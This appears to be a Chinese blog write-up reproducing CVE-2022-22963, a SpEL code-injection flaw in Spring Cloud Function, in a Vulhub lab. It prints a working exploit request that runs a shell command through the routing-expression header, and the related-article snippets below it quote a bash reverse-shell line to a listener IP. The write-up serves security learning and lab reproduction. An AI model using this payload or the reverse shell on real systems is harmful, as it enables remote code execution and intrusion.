Spring Cloud Function SpEL 代码注入(CVE-2022-22963)漏洞复现

最新推荐文章于 2025-10-16 09:27:57 发布
原创 最新推荐文章于 2025-10-16 09:27:57 发布 · 1.2k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#spring cloud #java #spring

本文介绍如何复现Spring Cloud Function SpEL代码注入漏洞(CVE-2022-22963)，通过搭建Vulhub环境并发送恶意构造的POST请求来触发漏洞，最终实现远程命令执行。

文章目录

Spring Cloud Function SpEL 代码注入 (CVE-2022-22963)漏洞复现

一、复现环境

Vulhub：https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22963

二、复现过程

  1. 拉取docker环境
    在这里插入图片描述
    服务启动后，可通过地址：http://your-ip:8080 查看。
  2. 攻击载荷

使用bp回放Send有效载荷（请求方法为POST）

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

进入容器可查看命令成功执行：

在这里插入图片描述

CVE-2022-22963 Spring Cloud Function SPEL表达式注入漏洞复现
afei001
03-31 4461
SpringCloudFunction是SpringBoot开发的一个Servless中间件（FAAS），支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时， HTTP请求头 spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞，攻击者可通过该漏洞进行远程命令执行。
Spring Cloud Function SpEL表达式注入(CVE-2022-22963)
李同學的安全圈
04-02 1518
文章目录声明前言一、漏洞概述二、影响版本三、本地复现四、漏洞原理五、官方修复文档 声明 本文章仅用于漏洞复现和技术学习，切勿从事非法渗透行为，切记！ 前言 在 Spring Cloud Function 版本 3.1.6、3.2.2 和不受支持的旧版本中，当使用路由功能时，用户可以提供特制的 SpEL 作为路由表达式，这可能导致远程代码执行和对本地资源的访问。 一、漏洞概述 Spring Cloud Function 是基于Spring Boot 的函数计算框架（FaaS），当其启用动态路由 funct
SpringCloud Function SpEL漏洞复现 (CVE-2022-22963)
oiadkt的博客
04-21 1717
SpringCloud Function SpEL漏洞复现 (CVE-2022-22963)
【网络安全CTF夺旗攻击实战】CVE-2022-22963：Spring Cloud Function SpEL远程代码执行漏洞复现全记录！从端口扫描探测到反弹Shell的完整攻防
最新发布
我是网络安全兼技能大赛工程师，专注网络安全技术学习与技能大赛实战！持续分享最新的技术文章，帮你少走弯路，一起在技术赛道上进步～
10-16 1715
由于 Spring Cloud Function 中 RoutingFunction 类的 apply 方法，将请求头中 “spring.cloud.function.routing-expression” 参数作为 Spel 表达式处理，导致 Spel 表达式注入。攻击者使用路由功能时，可利用该漏洞远程执行任意代码
Spring Cloud Function SpEL注入漏洞（CVE-2022-22963）分析
AKAMAI_CHINA的博客
01-01 781
2022年3月24日，Pivotal修补了Spring Cloud Function中一个关键的服务器端代码注入漏洞（Spring表达式语言注入），该漏洞有可能导致系统被攻击。
CVE-2022-22963漏洞复现
XXXXsssxwd的博客
12-23 1012
由于SpringCloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理，造成了Spel表达式注入漏洞，当使用路由功能时，攻击者可利用该漏洞远程执行任意代码。
【vulhub系列】CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行漏洞复现
Wiofgb的博客
08-28 3411
记录一次CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行漏洞复现
春秋云境：CVE-2022-22963[漏洞复现]
如有错误感谢斧正
08-10 1734
到2024年8月11日，为期14天的专项国护结束最近都在忙攻防看1day、nday复现，现在有空了写一下靶场的复现。
SpringCloud Function SpEL注入漏洞分析（CVE-2022-22963）.doc
07-08
然而，在 SpringCloud Function 中存在一个 SpEL 注入漏洞（CVE-2022-22963），该漏洞可能会导致攻击者可以执行恶意代码，从而导致严重的安全问题。 SpEL（Spring Expression Language）是一种强大的表达式语言，...
Spring Cloud Function SpEL 代码注入漏洞复现 (CVE-2022-22963)
yang1234567898的博客
04-25 4022
漏洞复现 启动vulhub靶场环境，出现下面的页面说明启动成功 首先，先用nc监听1234端口 需要将反弹shell的命令进行编码 bash -i >& /dev/tcp/192.168.96.1/1234 0>&1 编码脚本如下，直接复制改后缀名为.html打开即可 <!DOCTYPE html> <html> <head> <title>java runtime exe...
CVE-2022-22963 复现Demo
04-14
CVE-2022-22963 复现Demo，A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it. 存在任何使用问题可以私信本人。
Spring Cloud Function SpEL表达式命令注入（CVE-2022-22963）漏洞复现
weixin_54786196的博客
10-27 659
Spring Cloud Function是一个用于构建和部署基于函数的微服务的框架。它使用SpEL表达式来处理函数的输入和输出。SpEL是一种强大的表达式语言，它允许开发人员在运行时动态地计算表达式。由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理，造成了Spel表达式注入漏洞，当使用路由功能时，攻击者可利用该漏洞远程执行任意代码。
【漏洞复现】Spring Cloud Function SPEL表达式注入漏洞（cve-2022-22963）
Hi~ 土拨鼠
04-01 1741
文章目录1、复现环境2、构造POC3、在vps上开启监听4、执行POC，成功反弹shell 1、复现环境 本文是在vulfocus在线环境进行的复现：http://vulfocus.io/ 2、构造POC 由描述可知需要构造请求包，添加spring.cloud.function.routing-expression参数，内容会被作为spel表达式解析 由于java中不支持管道符和特殊符号，所以将反弹shell的命令用base64进行编码处理 spring.cloud.function.routing-ex
CVE-2022-22963源码分析与漏洞复现
spinage的博客
05-19 1286
CVE-2022-22963 是 Spring Cloud Function 框架中的高危远程代码执行（RCE）漏洞，影响版本为 3.1.6、3.2.2 及更早版本。攻击者通过 HTTP 请求头 spring.cloud.function.routing-expression 注入恶意 SpEL 表达式，触发任意代码执行。漏洞的核心在于 RoutingFunction 使用 StandardEvaluationContext 解析表达式，未对用户输入进行安全限制。官方修复方案包括将 StandardEval
Spring Cloud Function SPEL表达式注入漏洞分析（CVE-2022-22963）
panda的博客
04-05 2661
影响范围： 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2 项目简介： Spring Cloud Function 是一个具有以下高级目标的项目： 通过函数促进业务逻辑的实现，可以将函数设置为HTTP端点。 将业务逻辑的开发生命周期与任何特定的运行时目标分离，以便相同的代码可以作为 Web 端点、流处理器或任务运行。 支持跨无服务器提供商的统一编程模型，以及独立运行（本地或在 PaaS 中）的能力。 在无服务器提供程序上启用 Spring Boo
CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现
热爱学习，喜欢折腾！
08-28 5817
SpringCloud 是一套分布式系统的解决方案,实现就是函数式编程，在视频转码、音视频转换、数据仓库ETL等与状态相关度低的领域运用的比较多。开发者无需关注服务器环境运维等问题上，专注于自身业务逻辑实现即可。在Spring Cloud Function版本3.1.6，3.2.2和更早的不受支持的版本中，当使用路由功能时，用户可以提供特制的SpEL作为路由表达式，这可能导致远程执行代码和访问本地资源。............
漏洞复现笔记（CVE-2022-22963）
weixin_72760965的博客
06-14 670
Spring Cloud Function 提供了一个通用的模型，用于在各种平台上部署基于函数的软件，包括像 Amazon AWS Lambda 这样的 FaaS（函数即服务，function as a service）平台。当Spring Cloud Function 启用动态路由functionRouter时， HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞，攻击者可通过该漏洞进行远程命令执行。影响版本漏洞简介。
SpringBoot Function 漏洞复现(CVE-2022-22963)
weixin_63960760的博客
10-16 486
Spring Cloud Function 是基于Spring Boot 的函数计算框架 (FaaS，函数即服务，function as aservice)，该项目提供了一个通用的模型，用于在各种平台上部署基于函数的软件。它抽象出所有传输细节和基础架构，允许开发人员保留所有熟悉的工具和流程，并专注于业务逻辑.
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值